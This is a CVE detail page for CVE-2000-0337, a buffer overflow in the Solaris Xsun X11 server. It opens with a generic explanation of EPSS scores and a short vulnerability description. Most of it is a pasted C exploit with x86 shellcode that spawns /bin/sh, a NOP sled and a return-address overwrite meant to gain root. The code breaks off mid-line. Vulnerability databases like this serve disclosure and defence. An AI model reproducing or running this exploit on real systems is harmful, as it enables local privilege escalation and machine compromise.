CVE-2000-0337 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/1140/info A buffer overrun vulnerability exists in the Xsun X11 server, as shipped as part of Solaris 7 and 8 from Sun Microsystems. By supplying a long argument to the -dev option (normally used to set the output device), it is possible to execute arbitrary code with setgid root permissions. This can be further leveraged to gain root privileges, resulting in machine compromise. /* * * Solaris 7 Xsun(suid) local overflow - PRIVATE for now! * Solaris 2.7/(2.6?) x86 sploit no sparc code, yet! * * Discovered/sploited By DiGiT - [email protected] * * Greets: #!ADM, #!security.is */ #include <stdio.h> #include <stdlib.h> // Generic solaris x86 shellcode by cheeze wizz char shellcode[] = "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; long get_esp() { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char buff[5000]; int nopcount=2001, bsize=4000, offset=1850; int i; if (argc > 1) nopcount = atoi(argv[1]); if (argc > 2) bsize = atoi(argv[2]); if (argc > 3) offset = atoi(argv[3]); memset (buff, 0x90, bsize); for (i = nopcount; i < bsize - 4; i += 4) *(long *) &buff[i] = get_esp() + offset; memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen (shellcode)); memcpy (buff, ":", 1); printf("Oh boy.
